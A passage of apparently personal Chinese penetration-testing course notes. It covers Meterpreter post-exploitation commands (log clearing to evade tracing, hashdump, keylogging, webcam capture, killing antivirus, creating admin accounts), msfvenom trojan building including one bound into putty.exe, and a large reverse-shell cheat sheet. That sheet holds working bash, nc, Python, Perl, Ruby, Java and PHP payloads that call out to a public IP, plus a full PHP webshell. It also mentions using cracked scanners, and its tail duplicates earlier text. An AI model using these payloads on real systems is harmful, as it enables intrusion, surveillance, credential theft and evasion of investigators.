(200774 bytes) to 192.168.12.130 [*] Meterpreter session 1 opened (192.168.12.129:4444 -> 192.168.12.130:49161) at 2024-03-31 20:17:06 +0800 [+] 192.168.12.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.12.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.12.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=meterpreter >
进入meterpreter提示符,表示入侵成功
注 : 不是每次都能成功 ,失败就换一个模块,所有模块都失败,这个工具就没有办法了。
meterpreter 命令 :
background #退回msfconsole界面 pwd/cd/cat/ls/ps/reboot/shutdown/.. #些基本命令都可以使用,但是注意没有补齐功能 edit #Meterpreter界面下的vi lpwd #显示当前主机的工作目录(pwd是目标主机的工作目录) lcd #当前主机目录的切换 run/bgrun #运行/后台运行命令,tab后有几百个选择,可以实现远程桌面监控、usb痕迹查看等功能,功能十分强大 clearev #清除目标主机的系统日志、安全日志等,避免被溯源 download/upload #下载/上传文件(注意表示windows的目录要用\\) execute -f xx -i #执行xx程序,-i参数表示与该程序进行交互,-H表示将窗口隐藏执行 execute -H -i -f cmd.exe getuid #查看当前登录的账号 getprivs #查看当前具有的权限 load priv #加载priv插件 getsystem #加载priv后,提权变为系统账号 getpid #meterpreter注入的进程号 migrate <pid值> #迁移meterpreter注入的进程,一般将session迁移到系统进程,如explorer等 hashdump或者run post/windows/gather/hashdump #从SAM数据库中导出本地用户账号#注:SAM文件是windows的用户账户数据库,所有用户的登录名及口令等#相关信息都会保存在这个文件中,类似于unix系统中的passwd文件 sysinfo #获取系统信息 kill #杀死进程 shell #反弹shell,直接进入目标主机的命令行 show_mount #显示分区 search #搜索文件 netstat/arp/ipconfig/ifconfig/route/... #支持部分在windows cmd和linux shell中的命令 idletime #查看计算机的空闲时间 resource #连接一个外部文件并执行,文件中一般是要执行的命令 record_mic #开启麦克风 webcam_list #列出电脑上开启的摄像头 webcam_snap -i 1 -v false #每隔1秒钟进行拍照 screenshot #对当前系统画面截图 portfwd # 端口转发, portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的3389端口转发到本地6666端口 run post/windows/manage/enable_rdp # 利用MSF的RDP模块开启3389端口进入Shell后直接运行 net user 和 net localgroup 添加账户,登录RDP或VNC等。load sniffer # 监控目标机上的流量use sniffersniffer_interfaces #查看网卡sniffer_start 2 #选择网卡 开始抓包sniffer_stats 2 #查看状态sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包sniffer_stop 2 #停止抓包run post/windows/manage/killav # 结束掉杀毒软件的进程 run post/windows/capture/keylog_recorder # 记录键盘 run vnc # 开启vnc远程连接
更多用法参考:https://www.cnblogs.com/xcymn/p/14464945.html
-
meterpreter 简单命令执行 。
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > getpid Current pid: 460 meterpreter > sysinfo Computer : WEB OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : zh_CN Domain : HACKBOX Logged On Users : 2 Meterpreter : x64/windows meterpreter > screenshot Screenshot saved to: /root/Desktop/kjQUuvsi.jpeg meterpreter > shell Process 6520 created. Channel 1 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
DAY2 其他扫描工具使用
1、Xray:Web漏洞扫描并生成报告
2、Rad:爬虫,XRay和Rad由长亭科技同一家公司开发
3、Dirb:Kali内置的目录扫描工具
4、Nikto:Kali内置的Web漏洞扫描工具
5、AWVS
6、Fscan
7、nessus
1. xray
1.1 、xray 扫描
长亭科技旗下的一款网络安全漏洞扫描工具,用于检测和评估web应用程序的安全性》
xray 是一款绿色软件,直接解压算就可以使用 。、
例如 :D:\software\xRay 1.9.3 高级破解版
在安装路径下,打开命令行 :
利用xray --help 命令 查看 xray 所有的命令 。
我们主要使用 webscan 扫描web站点 .
利用xray webscan --help 查看 webcan 下的所有的模块 .
XSS漏洞检测 (key: xss):利用语义分析的方式检测XSS漏洞
SQL 注入检测 (key: sqldet):支持报错注入、布尔注入和时间盲注等
命令/代码注入检测 (key: cmd_injection):支持 shell 命令注入、PHP 代码执行、模板注入等
目录枚举 (key: dirscan):检测备份文件、临时文件、debug 页面、配置文件等10余类敏感路径和文件
路径穿越检测 (key: path_traversal):支持常见平台和编码
XML 实体注入检测 (key: xxe):支持有回显和反连平台检测
poc 管理 (key: phantasm):默认内置部分常用的 poc,用户可以根据需要自行构建 poc 并运行。文档
文件上传检测 (key: upload):支持常见的后端语言
弱口令检测 (key: brute_force):社区版支持检测 HTTP 基础认证和简易表单弱口令,内置常见用户名和密码字典
jsonp 检测 (key: jsonp):检测包含敏感信息可以被跨域读取的 jsonp 接口
ssrf 检测 (key: ssrf):ssrf 检测模块,支持常见的绕过技术和反连平台检测
基线检查 (key: baseline):检测低 SSL 版本、缺失的或错误添加的 http 头等
任意跳转检测 (key: redirect):支持 HTML meta 跳转、30x 跳转等
CRLF 注入 (key: crlf_injection)
检测 HTTP 头注入,支持 query、body 等位置的参:
xray webscan --url http://192.168.12.128:81/messageDetail.php?id=7 --html-output vaudit-01.htmlxray webscan --basic-crawler http://192.168.12.128:81 --html-output vaudit-02.html #爬虫扫描xray webscan --plugins sqldet --url http://192.168.12.128:81/messageDetail.php?id=7 --html-output vaudit-03.html # 按模块扫描
1.2 、生成证书
xray genca
将生成的 ca 证书导入到需要代理的设备即可,这样就可以方便代理 https 的流量了
1.3 、代理扫描
设置Xray为代理模式:
xray webscan --listen 127.0.0.1:8080 --html-output uauit-04.html
2、Dirb目录扫描
dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,类似于御剑。
格式:dirb <url_base> [<wordlist_file(s)>] [options]
-a 设置user-agent
-p <proxy[:port]>设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索
dirb http://192.168.12.128:81
3、Nikto漏洞扫描工具
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
nikto -h http://192.168.12.128:81
https://www.wangan.com/docs/nikto2
4、AWVS
AWVS工具在网络安全行业中占据着举足轻重的地位,作为一名安全服务工程师,AWVS这款工具在给安全人员做渗透测试工作时带来了巨大的方便,大大的提高了工作效率。
Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。它包含有收费和免费两种版本,AWVS官方网站是:http://www.acunetix.com/,官方下载地址:https://www.acunetix.com/vulnerability-scanner/download/,官方免费下载的是试用14天的版本。
下载安装 :
安装时需要设置3443端口及HTTPS证书,建议使用IP地址来绑定证书,配置后会有如下提醒。
安装后把patch.exe和patch.dat扔到主目录(C:\Program Files (x86)\Acunetix\12.0.190902105)下,管理员运行,license key 任意输入,破解完成。
访问地址 :http://localhost:3443
登录进去 :登录的用户名和密码 是安装时设置的 。
添加扫描目标 :点击target
设置扫描类型 :
开始扫描
5、Fscan
fscan是一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
fscan -h id # 192.168.12.0/24 192.168.12.131
6、Nessus扫描器使用
一、安装Nessus
Nessus号称是世界上最流行的漏洞扫描程序,全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件,Nessus可同时在本机或远端上遥控,进行系统的漏洞分析扫描。Nessus也是渗透测试重要工具之一。
安装过程相对比较简单,直接安装于Windows环境下即可,下面的安装过程基于Nessus 10.0.1-64位版本。安装完成后,需要去指定站点注册一个邮箱,收到激活码即可完成免费授权使用。
1、完成安装配置
安装完成后,需要等待很长一段时间进行初始化配置。
2、登录确认
访问 https://192.168.112.160:8834/#/ 并使用注册账号进行登录。
二、使用Nessus
1、新建扫描任务
在首页右上角点击“New Scan”开始创建一个全新的扫描任务,进入选择扫描模板页面,如下:
2、Host Descovery
用于扫描给定网段内的主机及端口,配置扫描器名称和对应的网段即可开始扫描。
扫描完成后,在首页上点击扫描器名称,可以查看结果。
3、Advanced Scan
可以自行配置扫描策略和扫描选项。
4、Web Application
除了常规的主机扫描外,Nessus也同样支持Web扫描,在配置好对应的扫描策略(通常默认即可)
5、登录扫描
直接登录到系统进行扫描,可以更加准确进进行扫描,但是并不适用于未知密码的情况下(通常此类场景用于安全基线检查)。
6、导出测试报告为HTML
Nesssus提供的扫描类型相对还是比较全面的,并且也具备一些专项漏洞的扫描能力,也可以登录后扫描进行安全检查,将Nessus与NMap进行配合,是一种比较不错的选择,也能覆盖大部分应用场景。
7 、Msf 和 meterpreter 原理
-
msf 进行入侵系统时候 ,使用的是 msf 的 Exploit ,Exploit模块中的所有的攻击脚本 和 https://www.exploit-db.com/ 站点中的漏洞攻击脚本时一致的
-
木马程序 木马程序是在 Payload 模块 ,比如默认的 payload :(windows/x64/meterpreter/reverse_tcp):)
# 修改 payload set payload windows/x64/meterpreter/reverse_http
-
正向连接
# 修改payload set payload windows/x64/meterpreter/bind_http
Module options (exploit/windows/smb/ms17_010_eternalblue):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS 192.168.12.133 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The target port (TCP)SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.SMBPass no (Optional) The password for the specified usernameSMBUser no (Optional) The username to authenticate asVERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.Payload options (windows/x64/meterpreter/bind_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)LPORT 5959 yes The listen port # 远程主机的端口 固定的RHOST 192.168.12.133 no The target address # 远程主机的ip Exploit target:Id Name-- ----0 Automatic TargetView the full module info with the info, or info -d command.
-
清除日志的功能
-
连接上远程桌面
因为我们是远程入侵,我们不知道远程的主机的用户名和密码 。
所以 入侵成功之后,需要创建一个用户 并且把这个用户 加入到超级管理员组
net user wugd Woniu123 /add # 密码需要复杂一点 net localgroup administrators wugd /add
远程连接桌面 :
run post/windows/manage/**enable_rdp
meterpreter > run post/windows/manage/enable_rdp[*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20240402165300_default_192.168.12.133_host.windows.cle_420666.txt
然后打开一个新的终端 :
输入 :
rdesktop 192.168.12.133
然后根据弹出的界面 ,输入 用户名和密码
-
删除日志
执行 :
clearev
-
DAY3
MsfVenom木马制作
1、功能介绍
msfvenom的功能:常用于生成木马,在目标机器上执行,在本地机器kali中上线,与反弹Shell类似。 MSFVenom可以生成两种类型的攻击载荷:
(1)Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
(2)Shellcode:Shellcode是Payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
机器语言(0101101101)->指令语言(汇编语言)->高级语言(c、c++、python、java等)
2、攻击载荷分类:
(1)Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,所以其生成的Payload通常很大。
(2)Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
(3)Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
Single Payload的格式为:<target>/ <single> 如:windows/powershell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp
3、参数介绍
-p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format 指定输出格式
-e, --encoder 指定需要使用的编码器,如xor等
-a, --arch 指定payload的目标架构 x64 x86-–platform 指定payload的目标平台
-s, --space 设定有效攻击荷载的最大长度
-b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations 指定payload的编码次数,绕杀毒
-c, --add-code 指定一个附加的win32 shellcode文件
-x, --template 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out 将payload保存到指定的文件路径
-v, --var-name 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload要查看支持哪些平台,使用参数:msfvenom --list platforms,支持哪些输出格式,--list formats,以此类推
4、创建木马
4.1 、windows 木马
执行以下指令,将会生成一个文件名为shell.exe的Windows可执行程序,下载到Windows上执行,将会在进程中看到该程序。
反向连接木马 :
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.12.129 LPORT=5656 -f exe -o win_msf_http_64.exe
or
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.12.129 LPORT=5656 -f exe > msf_http_64.exe
把木马程序 ,拷贝到 windows服务主机上 (此步骤比较low)
kali 主机上 使用MSF的监听模块上线:
use exploit/multi/handler # 用于木马的监听
set payload windows/x64/meterpreter/reverse_http # 与生成木马所使用的payload对应上就行
show options
set lhost 192.168.112.148
set lport 5656
runor handler -p windows/x64/meterpreter/reverse_http -H 192.168.12.129 -P 5656
一旦msf_http_64.exe在执行中,则界面反弹到meterpreter中进行利用。
在kali 主机上 也可以使用 handler 命令 监听 5656 端口 ,可以在后台实时 监听,适用 监听多台主机
正向连接木马:
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=5757 -f exe -o msf_bind_http_64.exe
use exploit/multi/handler # 用于木马的监听
set payload windows/x64/meterpreter/bind_tcp # 与生成木马所使用的payload对应上就行
show options
set lhost 192.168.12.133
set lport 5757
run
4.2 、linux木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.12.129 LPORT=80 -f elf -o msf_linux_reverse_http_64.elf
把生成的病毒 拷贝到 linux中 ,并切修改权限 : chmod u+x msf_linux_reverse_http_64.elf
(1)、启动kali 监听
handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.12.129 -P 80
(2)、linux启动木马
切换到木马当前路径 ,执行:
./xxxxxx.elf
nohup ./xxxxx.elf & # 后台启动
4.3 、木马绑定应用程序
把一个程序拷贝到当前目录下 ,执行 :
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.12.129 LPORT=5656 -a x86 --platform windows -x putty.exe -k -f exe -o msf_putty_http_32.exe
启动监听 :
handler -p windows/meterpreter/reverse_http -H 192.168.12.129 -P 5656
在被攻击的主机上运行 msf_putty_http_32.exe 程序 。
4.4 、PHP 生成木马
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.12.129 LPORT=5959 -f raw -o msf_php_tcp.php
把生成的文件拷贝的php环境下,通过php 服务器访问 。
例如 :比如 放在 lampp 的 htdocs中 ,然后启动服务 ,访问 此php页面
-
开启监听 kali
handler -p php/meterpreter_reverse_tcp -H 192.168.12.129 -P 5959
-
启动php服务 ,访问页面
http://192.168.12.134/msf_php_tcp.php
net user wugd Woniu123 /add
net localgroup administrators wugd /add
DAY4反弹Shell原理与实现
一、理解反弹Shell
1、为什么需要反弹Shell?
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标IP: 目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,Web服务,SSH,SMB等等,都是正向连接。
那么什么情况下正向连接不太好用了呢?
(1)某客户机中了你的木马,但是它在局域网内,你直接连接不了。它的IP会动态改变,你不能持续控制。
(2)由于防火墙或局域网等限制,对方机器只能发送请求,不能主动接收请求。
(3)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
无论是反弹shell 还是正向 连接 ,都叫 getshell
2、反弹Shell的基本原理
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
二、常用的反弹Shell命令
1、使用Bash进行反弹
Windows作为攻击者主机,Linux是被入侵主机(目标主机),此时目标主机上只要能正常运行Linux命令便可以实现反弹,利用Linux的Bash命令重定向和Windows上的Netcat应用程序,如果没有,则网络下载netcat应用程序即可。
windows 控制 linux : bash -i >& /dev/tcp/192.168.201.144/8877 0>&1
windows 控制 windows nc64 192.168.201.144 8088 -e cmd.exe
linux 控制 linux ???
linux 控制 windows ???
(1)在Windows上启动端口监听
C:\Users\Denny>nc -lvp 8088
listening on [any] 8088 ...# 参数 l 代表入站监听,v 代表输出信息级别,p 指定监听的端口,具体的参数解释可直接 nc -h 查看
# 端口可以是任意端口,只要不被防火墙阻挡并且没有被占用就行,比如80,443等
(2)在Linux上运行反弹命令:
bash -i >& /dev/tcp/192.168.201.144/8877 0>&1 bash -i # 打开一个交互的bash
>& # 将标准错误输出合并并重定向到标准输出,也可以写成 &>
/dev/tcp/47.96.116.171/8088 #意为调用socket,建立socket连接,其中47.96.116.171为要反弹到的主机IP,8088为端口
0>&1 # 标准输入重定向到标准输出,实现你与反弹出来的shell的交互,可以接受用户输入,0>&1 和 0<&1 是相同的作用/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。在 bash 命令执行的过程中,主要有三种输出入的状况,分别是:
1. 标准输入:代码为 0 ;或称为 stdin ;使用的方式为 <
2. 标准输出:代码为 1 ;或称为 stdout;使用的方式为 1>
3. 错误输出:代码为 2 ;或称为 stderr;使用的方式为 2>
(3)反弹成功后在Windows上执行命令
C:\Users\Denny>nc -lvp 8088
listening on [any] 8088 ...
connect to [47.96.116.171] from 47.96.116.17188 [47.96.116.17188] 60436
root@centqiang:[?1034h[root@centqiang ~]#root@centqiang:~[root@centqiang ~]# uname -a
uname -a
Linux centqiang 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
root@centqiang:~[root@centqiang ~]#
直接将Windows上的反弹Shell结束,Linux的进程也相应退出。
2、使用exec执行Shell的方式
exec 5<> /dev/tcp/47.96.116.171/8088; cat <&5 | while read line; do $line 2>&5 >&5; done# 注意此时在Windows端没有提示符,直接运行命令
3、其他方式
exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/47.96.116.171/8088; sh <&196 >&196 2>&196
4、使用nc进行反弹
要实现监听,先需要确保在Linux上已经成功安装nc,使用 yum install nc 完成安装。Kali上自带nc,可以直接使用。
(1)在Kali上启动nc监听
nc -lvp 8088
(2)在CentOS上反弹
nc -e /bin/bash 192.168.12.129 8899
当然,也可以直接反弹到Windows,原理是一样的。某些版本的nc没有-e参数(非传统版),则可使用以下方式解决。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 47.96.116.171 8088 >/tmp/f
windows 利用nc 反弹到 linux
nc 192.168.12.129 9999 -e cmd.exe
5、使用telnet进行反弹
(1)在攻击机上启动两个端口,一个用来输入,一个用来输出
nc -lvp 8088nc -lvp 5555
(2)在目标机上启动反弹
telnet 47.96.116.171 8088 | /bin/bash | telnet 47.96.116.171 5555
默认情况下,CentOS没有自带telnet,直接yum install telnet安装即可,Kali内置。
6、使用awk进行反弹
awk 'BEGIN{s="/inet/tcp/0/47.96.116.171/8088";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
三、基于编程语言反弹Shell
1、基于PHP的反弹
如果PHP没有在环境变量中,则指定PHP的绝对路径即可。
php -r '$sock=fsockopen("192.168.201.144", 8099); exec("/bin/sh -i <&3 >&3 2>&3");'
上面的常规方法有个问题,如果在 webshell 里执行如上代码的话,会把系统的标准输入输出重定向到 /bin/sh 里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。我们在运用中只希望新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。改进后的代码如下:
php -r '$sock=fsockopen("47.96.116.171", 8088);$descriptorspec = array(0 => $sock,1 => $sock,2 => $sock);$process = proc_open("/bin/sh", $descriptorspec, $pipes);proc_close($process);'
也可以使用更为简单的脚本
<?php
system("bash -c 'bash -i >& /dev/tcp/47.96.116.171/8088 0>&1'");
?>
如果上传的木马无法反弹时,可以上传以下脚本(Windows和Linux通用),当通过浏览器访问该PHP页面时,实现反弹:
<?php error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = '47.96.116.171';
$port = '8088';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {$env = array('path' => 'c:\\windows\\system32');
} else {$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}if(function_exists('fsockopen')) {$sock = fsockopen($ipaddr,$port);fwrite($sock,$msg);while ($cmd = fread($sock,1024)) {if (substr($cmd,0,3) == 'cd ') {$cwd = trim(substr($cmd,3,-1));chdir($cwd);$cwd = getcwd();}if (trim(strtolower($cmd)) == 'exit') {break;} else {$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) {fwrite($pipes[0],$cmd);fclose($pipes[0]);$msg = stream_get_contents($pipes[1]);fwrite($sock,$msg);fclose($pipes[1]);$msg = stream_get_contents($pipes[2]);fwrite($sock,$msg);fclose($pipes[2]);proc_close($process);}}}fclose($sock);
} else {$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect($sock,$ipaddr,$port);socket_write($sock,$msg);fwrite($sock,$msg);while ($cmd = socket_read($sock,1024)) {if (substr($cmd,0,3) == 'cd ') {$cwd = trim(substr($cmd,3,-1));chdir($cwd);$cwd = getcwd();}if (trim(strtolower($cmd)) == 'exit') {break;} else {$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) {fwrite($pipes[0],$cmd);fclose($pipes[0]);$msg = stream_get_contents($pipes[1]);socket_write($sock,$msg,strlen($msg));fclose($pipes[1]);$msg = stream_get_contents($pipes[2]);socket_write($sock,$msg,strlen($msg));fclose($pipes[2]);proc_close($process);}}}socket_close($sock);
}
?>
2、基于Python实现反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.96.116.171",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
新建一个socket,并将0、1、2分别代表系统的stdin、stdout、stderr(标准输入、输出、错误)重定向到socket中,然后开启一个shell。这样我们从socket中传来的命令就会进入系统的标准输入(就跟键盘输入的效果一样了),系统的输出和错误就会重定向到socket中,被我们客户端获取。但这个弹shell脚本只能在linux下使用。
利用以下Python代码可以开启一个本地交互式终端:
python -c 'import pty; pty.spawn("/bin/bash")'
3、基于Perl实现反弹
(1)基于/bin/sh反弹
perl -e 'use Socket;$i="47.96.116.171";$p=8088;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
(2)不依赖于/bin/bash的反弹
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.96.116.171:8088");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
4、基于Ruby实现反弹
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.96.116.171","8088");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
在Windows环境下使用:
ruby -rsocket -e 'c=TCPSocket.new("47.96.116.17188","8088");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
5、基于Java实现反弹
public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception {// TODO Auto-generated method stubRuntime r = Runtime.getRuntime();String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/47.96.116.171/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"};Process p = r.exec(cmd);p.waitFor();}
}
将上述偌复制到目标主机中,并且必须命名为:Revs.java (文件名必须与类名相同),再运行以下两条命令实现反弹
javac Revs.java # 编译源代码
java Revs # 执行程序
6、基于Base64编码实现反弹
bash -i >& /dev/tcp/47.96.116.171/8088 0>&1 ==>
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzQ0NDQgMD4mMQ==
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzQ0NDQgMD4mMQ== | base64 -d | bash
四、Windows反弹到Linux
1、使用cmd命令
nc -e cmd 47.96.116.171 8088
2、使用powershell
先下载powercat, https://github.com/besimorhino/powercat
powercat -c 47.96.116.171 -p 8088 -e cmd
五、加密反弹Shell
1、在攻击机上生成证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes然后输入证书信息,国家代码输入cn,其他随意
2、在攻击机上监听
openssl s_server -quiet -key key.pem -cert cert.pem -port 8088
3、在目标机上执行反弹
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.96.116.17188:8088 > /tmp/s;rm /tmp/s
六、正向连接脚本
1、Linux下的正向连接
在目标主机上创建一个Python脚本,命名为:bind_conn.py
from socket import *
import subprocess
import os, threading, sys, timeif __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('47.96.116.17188',5555))server.listen(5)print 'waiting for connect'talk, addr = server.accept()print 'connect from',addrproc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,stdout=talk, stderr=talk, shell=True)
在目标主机上执行上述代码,确保正常运行(python bind_conn.py)。然后在攻击主机上使用nc进行正向连接
nc 47.96.116.17188 5555
2、Windows下的正向连接
from socket import *
import subprocess
import os, threadingdef send(talk, proc):import timewhile True:msg = proc.stdout.readline()talk.send(msg)if __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('47.96.116.171', 5555))server.listen(5)print('waiting for connect')talk, addr = server.accept()print('connect from',addr)proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)t = threading.Thread(target = send, args = (talk, proc))t.setDaemon(True)t.start()while True:cmd=talk.recv(1024)proc.stdin.write(cmd)proc.stdin.flush()server.close()
65 -nodes
然后输入证书信息,国家代码输入cn,其他随意
##### 2、在攻击机上监听
openssl s_server -quiet -key key.pem -cert cert.pem -port 8088
##### 3、在目标机上执行反弹
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.96.116.17188:8088 > /tmp/s;rm /tmp/s
#### 六、正向连接脚本##### 1、Linux下的正向连接在目标主机上创建一个Python脚本,命名为:bind_conn.py```python
from socket import *
import subprocess
import os, threading, sys, timeif __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('47.96.116.17188',5555))server.listen(5)print 'waiting for connect'talk, addr = server.accept()print 'connect from',addrproc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,stdout=talk, stderr=talk, shell=True)
在目标主机上执行上述代码,确保正常运行(python bind_conn.py)。然后在攻击主机上使用nc进行正向连接
nc 47.96.116.17188 5555
2、Windows下的正向连接
from socket import *
import subprocess
import os, threadingdef send(talk, proc):import timewhile True:msg = proc.stdout.readline()talk.send(msg)if __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('47.96.116.171', 5555))server.listen(5)print('waiting for connect')talk, addr = server.accept()print('connect from',addr)proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)t = threading.Thread(target = send, args = (talk, proc))t.setDaemon(True)t.start()while True:cmd=talk.recv(1024)proc.stdin.write(cmd)proc.stdin.flush()server.close()
对于print函数来说,Python3中需要加圆括号,而Python2中不需要,如果存在版本上的小差异,进行调试确认即可。
